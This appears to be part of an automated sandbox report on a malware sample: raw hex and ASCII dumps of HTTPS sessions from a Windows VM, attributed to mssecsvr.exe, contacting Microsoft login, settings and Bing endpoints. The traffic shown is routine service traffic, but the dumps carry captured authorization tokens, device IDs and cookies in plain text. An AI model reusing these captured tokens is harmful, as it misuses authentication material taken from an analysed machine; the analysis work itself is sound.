2022-07-20 13:47:46 UTC	8796	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:47:46 UTC	8796	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 31 36 30 32 64 63 66 32 66 34 63 62 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: c1d1602dcf2f4cb1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:47:46 UTC	8797	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 64 31 36 30 32 64 63 66 32 66 34 63 62 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: c1d1602dcf2f4cb1<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:47:46 UTC	8798	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:47:46 UTC	8798	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 56 49 79 44 38 64 37 65 30 79 41 4e 55 4c 36 71 68 53 36 4b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: RVIyD8d7e0yANUL6qhS6Kg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	50223	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	130	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 13:43:48 UTC	131	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	163	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 3377318b-8043-4d50-a04d-839ad6d6c669 PPServer: PPV: 30 H: BL02PF3762ED3E3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:48 GMT Connection: close Content-Length: 11093
2022-07-20 13:43:48 UTC	164	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	50225	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:48 UTC	135	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 13:43:48 UTC	136	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:48 UTC	152	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: edae3a0e-7027-47c8-8e13-bf2eba6c2dc9 PPServer: PPV: 30 H: BL6PPFEE0C848E8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:48 GMT Connection: close Content-Length: 11093
2022-07-20 13:43:48 UTC	152	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	50227	20.72.205.209	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:49 UTC	174	OUT	GET /settings/v2.0/WSD/WaaSAssessment?os=Windows&osVer=10.0.17134.1.amd64fre.rs4_release.180410-&ring=Retail&sku=48&deviceClass=Windows.Desktop&locale=en-US&deviceId=A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8&UpdateOfferedDays=1399&BranchReadinessLevel=CB&PonchAllow=0&IsCloudDomainJoined=0&ProcessorIdentifier=Intel64%20Family%206%20Model%2085%20Stepping%207&CurrentBranch=rs4_release&ActivationChannel=OEM%3ANONSLP&OEMModel=VMware7%2C1&FlightRing=Retail&AttrDataVer=107&IsMDMEnrolled=0&InstallLanguage=en-US&OSUILocale=en-US&OEMModelBaseBoard=440BX%20Desktop%20Reference%20Platform&FirmwareVersion=VMW71.00V.18227214.B64.2106252220&InstallationType=Client&FlightingBranchName=&ServicingBranch=CB&GStatusBlockIDs_All=&OSSkuId=48&App=WaaSAssessment&InstallDate=1561646961&ProcessorManufacturer=GenuineIntel&OEMName_Uncleaned=VMware%2C%20Inc.&AppVer=10.0&OSArchitecture=AMD64&HonorWUfBDeferrals=0&UpdateManagementGroup=2&IsDeviceRetailDemo=0&HidOverGattReg=C%3A%5CWindows%5CSystem32%5CDriverStore%5CFileRepository%5Chidbthle.inf_amd64_467f181075371c89%5CMicrosoft.Bluetooth.Profiles.HidOverGatt.dll&IsFlightingEnabled=0&TelemetryLevel=1&DefaultUserRegion=244&Bios=2019&WuClientVer=10.0.17134.1&Free=32to64&OSVersion=10.0.17134.1&DeviceFamily=Windows.Desktop HTTP/1.1 Connection: Keep-Alive Authorization: MsaToken t=GwAWAX94BAAU+vB6B7/6tNI0vbzcuOrZ3eBJR2gOZgAAEDSAxuQxl//5B7o5Eenhw/ngAGscz14UoYx5FRYcz3RLOgLAUhOkUDepauWs33lqTTRIVM4AHb2D/A4m7tkMXIQYo3HZvQcUj6l9ZYwn5BHcJ/JPlnCAz/ePhOeD+DlblatxEm0NlA7JZRwdvkn/x8DyUMT01516h0c0Oiy3IeOxNY1iRh36Uvt/a2dQREO+Qqtdjs8zAvT0Og4Bnc4iosT7IVTyOM29la49uGN3LyGvGrJTur/vu4+8pftHS8bFrYJbaWDU5Tc+FH0F6pjmbzSv9Ubn3ueLrJPPI9TQeVa3OfqjeBfgXyHBz9GiSICZmjEbGwE=&p= If-None-Match: 360:66A2A3862F7048D2E5118FFF547B163A::2F143E28D4 User-Agent: WaaSAssessment Host: settings-win.data.microsoft.com
2022-07-20 13:43:49 UTC	176	IN	HTTP/1.1 200 OK Cache-Control: no-cache,no-store Content-Length: 1002 Content-Type: application/json ETag: 360:66A2A3862F7048D2692C7565547B163A::2F147D083F Server: Microsoft-HTTPAPI/2.0 Date: Wed, 20 Jul 2022 13:43:49 GMT Connection: close
2022-07-20 13:43:49 UTC	177	IN	Data Raw: 7b 22 72 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 33 36 30 22 2c 22 71 75 65 72 79 55 72 6c 22 3a 22 2f 73 65 74 74 69 6e 67 73 2f 76 32 2e 30 2f 57 53 44 2f 57 61 61 53 41 73 73 65 73 73 6d 65 6e 74 22 2c 22 73 65 74 74 69 6e 67 73 22 3a 7b 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 3a 22 31 33 31 36 39 35 38 31 32 30 30 30 30 30 30 30 30 30 22 2c 22 31 30 2e 30 2e 31 37 31 33 34 2e 52 54 4d 22 3a 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 2c 22 31 30 2e 30 2e 31 37 31 33 34 2e 53 42 22 3a 22 31 30 2e 30 2e 31 37 31 33 34 2e 31 22 2c 22 43 55 52 52 45 4e 54 22 3a 22 31 30 2e 30 2e 32 32 35 33 38 2e 31 30 31 30 22 2c 22 44 49 53 41 42 4c 45 41 53 53 45 53 53 4d 45 4e 54 22 3a 22 30 22 2c 22 44 4f 53 53 49 45 52 54 49 4d 45 53 54 41 4d 50 22 3a 22 Data Ascii: {"refreshInterval":"360","queryUrl":"/settings/v2.0/WSD/WaaSAssessment","settings":{"10.0.17134.1":"131695812000000000","10.0.17134.RTM":"10.0.17134.1","10.0.17134.SB":"10.0.17134.1","CURRENT":"10.0.22538.1010","DISABLEASSESSMENT":"0","DOSSIERTIMESTAMP":"

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	50253	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:49 UTC	177	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 61 65 35 30 37 36 34 66 64 65 64 65 66 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 73ae50764fdedefe
2022-07-20 13:43:49 UTC	178	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 13:43:49 UTC	178	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 61 65 35 30 37 36 34 66 64 65 64 65 66 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 54 69 38 64 44 74 63 47 2b 6e 56 77 43 42 53 39 37 48 76 31 6a 70 37 4f 4f 4f 44 72 71 4e 37 46 58 69 6f 47 4c 48 31 2f 76 2f 53 35 30 42 79 33 4f 4f 48 49 65 52 32 6e 33 78 53 30 68 6d 74 35 75 65 57 2f 6c 48 34 4c 4f 30 77 31 66 44 6f 30 51 46 2f 4c 79 39 36 2b 50 74 53 37 59 65 2b 64 53 43 59 4c 70 55 69 56 46 6c 58 56 77 62 48 46 35 50 46 30 47 44 53 76 70 4e 4e 55 4a 6e 49 47 77 53 38 65 48 68 6c Data Ascii: ATH 2 CON\DEVICE 1014Context: 73ae50764fdedefe<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdTi8dDtcG+nVwCBS97Hv1jp7OOODrqN7FXioGLH1/v/S50By3OOHIeR2n3xS0hmt5ueW/lH4LO0w1fDo0QF/Ly96+PtS7Ye+dSCYLpUiVFlXVwbHF5PF0GDSvpNNUJnIGwS8eHhl
2022-07-20 13:43:49 UTC	179	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 33 61 65 35 30 37 36 34 66 64 65 64 65 66 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 73ae50764fdedefe<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 13:43:49 UTC	179	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 13:43:49 UTC	179	IN	Data Raw: 4d 53 2d 43 56 3a 20 4f 4e 56 72 33 7a 35 38 58 55 2b 35 62 64 36 72 72 46 69 43 65 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ONVr3z58XU+5bd6rrFiCew.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	50251	131.253.33.200	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:50 UTC	179	OUT	GET /client/config?cc=US&setlang=en-US HTTP/1.1 X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguage X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8} X-UserAgeClass: Unknown X-BM-Market: US X-BM-DateFormat: M/d/yyyy X-CortanaAccessAboveLock: false X-Device-OSSKU: 48 X-BM-DTZ: -420 X-BM-FirstEnabledTime: 132061395240662859 X-DeviceID: 0100748C0900F661 X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3D X-Agent-DeviceId: 0100748C0900F661 X-BM-CBT: 1658356973 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 X-Device-isOptin: true Accept-language: en-US, en X-Device-Touch: false X-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeader Host: www.bing.com Connection: Keep-Alive Cookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
2022-07-20 13:43:50 UTC	184	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2041 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: SUID=M; domain=.bing.com; expires=Thu, 21-Jul-2022 13:43:50 GMT; path=/; HttpOnly Set-Cookie: MUIDB=7E1F7E3AB9E24BF9AA0D8F6664CA6F63; expires=Mon, 14-Aug-2023 13:43:50 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=SID=19103D67A072696B26B72C80A1C0682E&mkt=en-us&ui=en-us; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHUID=V=2&GUID=EB2F4BF47B9C4DBC9F220415D78F029D&dmnchg=1; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHUSR=DOB=20220720; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: ANON=A=AD8DAE85E20B2C5504CEBCE2FFFFFFFF; domain=.bing.com; expires=Sat, 20-Jul-2024 13:43:50 GMT; path=/ Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/ Set-Cookie: _SS=SID=19103D67A072696B26B72C80A1C0682E; domain=.bing.com; path=/ X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C1BD8C27DB7E4C04B5C7FFDCA9C66781 Ref B: VIEEDGE1506 Ref C: 2022-07-20T13:43:50Z Date: Wed, 20 Jul 2022 13:43:49 GMT Connection: close
